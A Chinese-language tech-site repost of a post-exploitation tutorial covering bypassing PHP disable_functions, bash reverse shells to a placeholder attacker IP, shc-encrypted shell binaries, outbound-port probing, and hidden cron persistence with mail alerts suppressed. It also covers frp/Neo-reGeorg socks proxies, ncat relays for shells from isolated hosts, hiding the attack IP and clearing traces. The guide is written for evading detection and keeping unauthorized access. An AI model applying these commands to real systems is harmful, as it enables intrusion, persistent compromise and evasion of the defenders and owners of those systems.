0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

一文解析后渗透及内网初体验

马哥Linux运维 来源:先知社区 作者:kilomite 2022-08-20 14:46 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

绕php的disable_functions 此处建议用AntSword的官方绕过插件全自动绕

d30c369e-1fc4-11ed-ba43-dac502259ad0.png

绕过失败的可以手动试一下

另外,可以看一下web程序存的数据库的用户名和密码,然后看一下数据库能不能利用,比如写文件或者写日志,以及各种提权,如果绕过disable_functions失败,数据库也不能利用的可以看一下目标服务器上都有什么文件,比如其他站点或者其他可以利用的东西,如果限制了访问目录那就只能留着以后再看了

d340c95e-1fc4-11ed-ba43-dac502259ad0.png


隐藏ip

隐藏攻击ip还是很重要的,不然容易被溯源,可以上cdn或者用云函数等 但是此处也是有大坑的,能访问国外服务器的目标机器就好办了,直接上就行,但是不能访问国外服务器的目标机器,首先用Cloudflare比较卡,其次用国内的云服务商的则需要实名,而且费用也不低,所以实在没办法就别隐藏ip了,此处我也没有隐藏ip

加密bash反弹shell

正常的bash反弹shell: 目标机器反弹shell:


bash -i >& /dev/tcp/攻击机的ip/攻击机接收shell的端口 0>&1

攻击机接收反弹来的shell:

nc -lvvp 攻击机接收shell的端口

//netcat版本低时l和p参数不兼容,可以nc -lvv port监听端口

这个repository加密一下bash脚本,加密后会生成一个c源代码文件和编译之后的二进制文件,把编译之后的二进制文件传到目标机器上执行就行了,可以弥补一下目标机器在国内时不便于隐藏攻击ip的缺陷

本地执行:

./shc -Uvrf reverse.sh -o reverse

把生成的reveser传到目标机器上,执行:

./reverse

webshell提供的shell环境限制很多,所以最好先反弹shell,尽量不要正向连接shell,开个端口动静太大

首先是不能弹shell的情况,比如相关的bash,nc等命令都被限制了,那先尝试提权

能弹shell但是接收不到的时候,可以看一下目标是不是限制出网或者限制出站端口

如果限制出网那就先尝试提权,如果限制出站端口可以批量试一下常见的端口,在自己的vps上,通过nginx监听多个端口来快速启动多个端口,然后再在目标机器上上传个sh脚本,批量curl自己vps的指定端口,最后看一下结果就可以了,nmap ---top-ports 100或1000可以扫描nmap整理的100或1000个最常用的端口,可以参考一下

测试出网端口的具体步骤:

1.在正常的nginx配置文件中找到listen port,在后面复制一行,把port改成自己想开放的端口,重启nginx

2.写一个sh脚本,内容就是每行都curl想测试的端口:curl vps:port

3.传到目标机器上,运行并且重定向到文件里:./shfile > result.txt

4.查看result.txt中的结果,就可以看到哪些端口能出网,nmap ---top-ports 100和nmap ---top-ports 1000可以查看nmap整理的100和1000个最常用的端口,可以参考一下

成功收到shell的时候,依旧是个很难用的shell,可以再升级成完全的shell再用,升级之后和真实shell一样,非常舒服

# 攻击机本地执行# 首先检查当前终端和STTY信息$ echo $TERM$ stty -a# 查看输出的rows和columns,后面配置用



此处的这些操作是重复性的,和具体设备无关,所以用xshell的可以写个xshell的脚本或者录制个xshell的脚本,不过我这边录制的时候生成的脚本内容总是为空,应该是个bug,也没时间研究写xshell的脚本了,所以直接用按键精灵写了个



毕竟按键精灵只是模仿输入,不能获取到结果,所以每一步都是只输入,不回车,需要自己回车,而且每一次输入之后会多监听一次任意按键事件,以防想暂停

如果想把这个shell关了,或者这个shell接收到了内网的其他shell,然后想把接收到的其他shell关了,需要输入两次exit退出,然后可能shell的格式是乱的,这时候reset一下就好了

在攻击机上肯定不可能直接就接收shell,如果本地和攻击机的shell连接断了,那么攻击机和目标机器的shell也就断了,或者想把攻击机接收到的shell挂在后台,也不能直接接收shell,此处我推荐使用screen,类似于windows下的多窗口,接收shell的时候新开一个screen挂在后台,不用的时候就在后台挂着,用的时候切过去用就可以了

screen的简单使用教程:

1.screen -S 这个screen会话的名字创建一个screen

2.在screen的会话中时,快捷键ctrl+a,ctrl+d把当前screen放在后台

3.screen -r screen会话的名字恢复一个screen

4.在screen的会话中exit可以退出screen

5.一些小技巧:

1.`screen -list`查看所有的screen会话

2.`screen -list`会显示相应对话的pid,通过`kill -9 pid`也可以关闭相应的screen会话

3.`screen -d screen会话的名字`可以将一个正在活动的screen放到后台

4.如果在screen中嵌套了screen,那么快捷键ctrl+a,ctrl+a,ctrl+d可以把第二层screen放在第一层的后台,快捷键ctrl+a,ctrl+d是不论嵌套几层screen都会把最外层的screen放在后台的

低权限提权

首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Database上找一下,同时看看打没打补丁,如果目标机器不能编译的话可以在自己的机器上编译好了传过去 此处也发现了几个提权工具,不过我试了一下不是很好用,都是靠版本来判断的,和手动搞一样

权限维持

切记要做持久化,不然辛辛苦苦拿的shell可能就要重新拿或者没了,方法很多,可以google搜一下,与时俱进,用最新的东西,下面是一种我常用的权限维持的方式:

cron计划任务权限维持比较简单,当然也比较明显:

建议用前面说的shc加密,上传生成的二进制文件,用这个二进制文件弹shell,安全性高一点

上传之后:

1.先chmod +x 二进制文件给一下权限

2.然后在名字前面加个.变为隐藏文件(ls -a可以查看隐藏文件)

3.再尝试一下chattr +i 二进制文件(chattr -i 二进制文件可以解除锁定)防止删除,有相应的权限才能成功执行这条命令

4.最后把这个文件放在安全又隐秘的位置,

配置cron计划任务时,如果是root用户,那就在/etc/crontab里添加,如果不是root用户,那就用crontab -e添加,注意crontab -e需要交互式shell,理论上来说非root用户的cron存在/var/spool/crond下(CentOS),可以直接编辑相应的文件,但是非root用户通常没有权限直接编辑,所以还是需要获取交互式shell然后crontab -e添加

root用户在/etc/crontab里添加的计划任务,通过crontab -l或crontab -e是看不到的

/etc/crontab里应该有默认的配置和默认的例子,crontab -e没有,不管是怎么写cron,都建议使用以下配置:

在写cron之前先执行$PATH查看环境变量并复制,然后再写cron

首先第一行配置为SHELL=+相应的shell位置,第二行配置为PATH=+默认的(如果有的话)加上前面的$PATH,第三行配置为MAILTO="",第三行的意义是计划任务的执行结果不给用户发邮件,因为计划任务反弹shell是不停的反弹,但是攻击机如果之前接收到的shell还没关端口被占用着弹shell就失败了就会报错然后发邮件,发了邮件的话每次执行命令都会提示,很容易就被发现了

最后配置计划任务:

root用户配置为* * * * * root /要执行的命令或文件

非root用户配置为* * * * * /要执行的命令或文件

如果要修改执行的间隔可以研究一下cron的语法,上面的是每分钟弹一次shell

内网

信息收集

激动人心的时刻来了,打内网 因为我拿到的shell都是linux下的,没有类似windows上的域控等等,所以此处就扫扫端口,此处可以用nmap,也可以用fscan,强烈推荐fscan,用一次就上瘾,很好用

搭建代理

有些内网ip的端口上跑的比如网站等等在命令行不太好渗透,而且有些内网ip是不出网的,只能通过我们打下来的这个边界服务器来访问,所以建个代理还是很有必要的

此处我推荐用frp,然后依旧遵循动静小点的原则,不在目标机器上开端口,在自己的vps上架设frp的服务端,在目标机器上架设frp的客户端,然后在客户端启用socks5代理插件,这会在服务端上开一个你指定的端口用来做socks5代理,可以配置用户名和密码,还可以远程连接,同时可以搭配其他软件做ip的黑白名单,非常好用,本地配置代理Windows建议用Proxifier,Linux建议用proxychains-ng(proxychains4)

另外也可以用Neo-reGeorg,直接上传个php/jsp等文件就可以建socks5代理,也很好用,对比frp一个优点是只传文件不用执行命令就可以建代理,另一个优点是不用在目标机器上额外在后台挂一个程序

内网渗透

其实和前面的web渗透一样,只不过有些应用在内网比较常见,所以需要去了解一下,搜一下有什么漏洞

fscan本身会检测漏洞,比如各种未授权访问,也会爆破一些端口的服务,比如mysql,ssh或者Tomcat的Manager App的弱口令等

一个C段可以见识不少东西,打了一遍下来竟然天亮了...一天一夜过去了

具体就不细说了,遇见哪个搜哪个,这个C段遇到的web程序基本都是java系的,还有一些python系的

内网不出网反弹shell

目标机器如果不出网可以反弹到已经打下来的内网机器上,也可以再把反弹的端口转发到vps上,实现通过转发出网

通过ncat转发出网:

中转的机器执行:


ncat -l 中转机器接收内网反弹来的shell的端口 -c 'ncat 攻击机的ip 攻击机的端口'

这样攻击机就可以接收到不出网的设备弹的shell,唯一的缺点就是中转的机器要占用个端口 中不中转对于不出网的设备的权限维持都是一样的,主要的区别就是在vps上连不出网的设备方便点

痕迹清理

主要是命令的历史记录和日志文件,不过基本清不干净,而且有些地方记录了也清不到,隐藏攻击ip比较万能

下面是一个简单粗暴的清理方式,如无必要不建议使用:





审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Web
    Web
    +关注

    关注

    2

    文章

    1302

    浏览量

    73659
  • 服务器
    +关注

    关注

    13

    文章

    10093

    浏览量

    90892
  • 数据库
    +关注

    关注

    7

    文章

    3993

    浏览量

    67738
  • Shell
    +关注

    关注

    1

    文章

    373

    浏览量

    25174

原文标题:干货|后渗透及内网初体验的总结

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    内网穿透:从原理到实战部署

    本文介绍了内网穿透技术的原理及其应用解决方案。由于NAT网络和动态IP的限制,外部无法直接访问内网设备。内网穿透通过公网中转服务器建立连接通道,实现外部访问内网服务。文章详细讲解了Ze
    的头像 发表于 11-04 16:57 1258次阅读
    <b class='flag-5'>内网</b>穿透:从原理到实战部署

    内网穿透的多种使用场景:远程办公、IoT 设备管理全解析

    你是否也曾这样“抓狂”过? ● 假期出游,突然需要公司内网份文件,却无可奈何? ● 给客户演示项目,还得求着运维同事帮忙部署到外网服务器? ● 想在外面看看家里的宠物,却发现摄像头无法远程连接
    的头像 发表于 10-11 15:44 285次阅读
    <b class='flag-5'>内网</b>穿透的多种使用场景:远程办公、IoT 设备管理全<b class='flag-5'>解析</b>

    内网线能用在室外吗

    内网线般不建议直接用于室外环境,但可通过特定处理或选择专用室外网线实现室外应用。以下是详细分析: 、室内网线用于室外的潜在问题 物理防护不足 外皮材质:室
    的头像 发表于 09-12 09:58 658次阅读
    室<b class='flag-5'>内网</b>线能用在室外吗

    为什么内网穿透必须加密?

    对于企业而言,选择支持 TLS 加密的内网穿透工具(如ZeroNews),并定期更新加密协议与证书,是保障业务安全、避免法律风险的最有效手段。
    的头像 发表于 08-19 15:47 547次阅读
    为什么<b class='flag-5'>内网</b>穿透必须加密?

    AIcube1.4目标检测模型导入yolotxt格式数据集直显示数据正在解析,为什么?

    AIcube1.4目标检测模型导入yolotxt格式数据集直显示数据正在解析 数据有问题,把数据情况说的详细点
    发表于 08-13 07:16

    远程访问内网MySQL数据库?这个方案更简单

    各位开发者朋友们,是否还在为无法随时随地访问内网MySQL数据库而烦恼?今天分享个超实用的方法,通过容器部署 MySQL 结合 ZeroNews 内网穿透,让你在任何地方都能安全访问和管理数据库
    的头像 发表于 07-04 18:06 653次阅读
    远程访问<b class='flag-5'>内网</b>MySQL数据库?这个方案更简单

    【Banana Pi BPI-RV2开发板试用体验】部署内网穿透

    BPI-RV2 RISC-V开源路由器之部署内网穿透 背景 最近刚弄到块 BPI-RV2 RISC-V 开源路由器,刚好自己有个云服务器和公网IP,打算在openwrt上面部署frp来做内网穿透
    发表于 06-29 20:05

    内网穿透目前最好的解决方案?ZeroNews凭什么!

    无论是个人想要远程访问家中的设备,还是企业实现高效的远程办公与资源共享,内网穿透都是关键所在。然而,传统的内网穿透方案却问题重重,企业急需新的选择。 1. 传统方案 ① 公网IP:成本高、风险
    的头像 发表于 05-15 14:14 754次阅读
    <b class='flag-5'>内网</b>穿透目前最好的解决方案?ZeroNews凭什么!

    这么多内网穿透工具怎么选?篇让你不再纠结的终极指南!

    穿透工具就是你的救星! 但问题来了—— 市面上这么多工具,Ngrok、FRP、ZeroNews……到底该选哪个? 别急,这篇文章将带你全面了解各种内网穿透方案的优缺点,帮你找到最适合自己的那款!
    的头像 发表于 05-13 16:06 896次阅读
    这么多<b class='flag-5'>内网</b>穿透工具怎么选?<b class='flag-5'>一</b>篇让你不再纠结的终极指南!

    国产内网穿透方案-比frp更简单

    的应用场景。 当前市场上,frp作为款开源内网穿透方案,凭借其开源特性和广泛的技术支持,在行业内拥有较高的认知度,常被应用于大型局域网的构建与管理。然而,frp使用过程中暴露出些明显的短板——安装配置较复杂,需要
    的头像 发表于 05-13 11:28 482次阅读
    国产<b class='flag-5'>内网</b>穿透方案-比frp更简单

    【峟思】土石坝渗透压监测技术解析与现代化解决方案

    土石坝作为水利工程的核心构筑物,其渗透稳定性直接关系工程安全。渗透压力、渗流量及水质变化是评估坝体安全的关键指标。本文系统解析渗透压监测方法,并介绍智能化监测技术的创新应用。
    的头像 发表于 05-06 15:58 397次阅读
    【峟思】土石坝<b class='flag-5'>渗透</b>压监测技术<b class='flag-5'>解析</b>与现代化解决方案

    华为LampSite X全面引领室内网络数智化升级

    在通信技术与移动 AI 产业迅猛发展的当下,优质的室内网络已成为保障用户随时随地畅享丝滑体验的基石。华为室内数字化解决方案 LampSite X,凭借卓越的技术优势与丰富的商用实践,正引领室内网络迈入全新的智能化时代。
    的头像 发表于 03-03 11:45 1076次阅读

    解析工业互联网

    电子发烧友网站提供《解析工业互联网.pptx》资料免费下载
    发表于 02-20 16:42 1次下载

    Web安全之渗透测试基础与实践

    在网络安全领域,Web渗透测试是发现Web应用漏洞的重要手段。下面介绍渗透测试的基础和实践。 信息收集是渗透测试的第步。使用whois命令查询域名注册信息,nslookup命令查询域
    的头像 发表于 01-22 09:33 653次阅读

    在低延迟、高效传输的网络环境中,异地组网和内网穿透哪种技术更胜筹?

    在现代企业网络架构中,异地组网和内网穿透是两种常见的网络连接技术,它们在不同场景下发挥着重要作用。然而,在追求低延迟、高效传输的网络环境中,哪种技术更胜筹?本文将探讨异地组网与内网穿透在延迟方面
    的头像 发表于 01-07 10:52 1192次阅读